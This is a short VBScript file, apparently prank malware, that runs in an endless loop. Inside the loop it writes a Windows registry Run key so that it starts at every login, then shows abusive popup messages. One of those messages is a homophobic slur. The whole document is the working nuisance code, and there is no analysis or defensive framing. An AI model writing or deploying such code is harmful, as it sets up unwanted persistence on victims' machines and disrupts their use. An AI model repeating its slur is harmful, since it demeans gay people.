fucked.vbs

do
Dim fso, dirsystem
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set dirsystem = fso.GetSpecialFolder(1)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Owned","wscript c:\fucked.vbs"
msgbox "Owned"
msgbox "Fuck you"
msgbox "faggot"
loop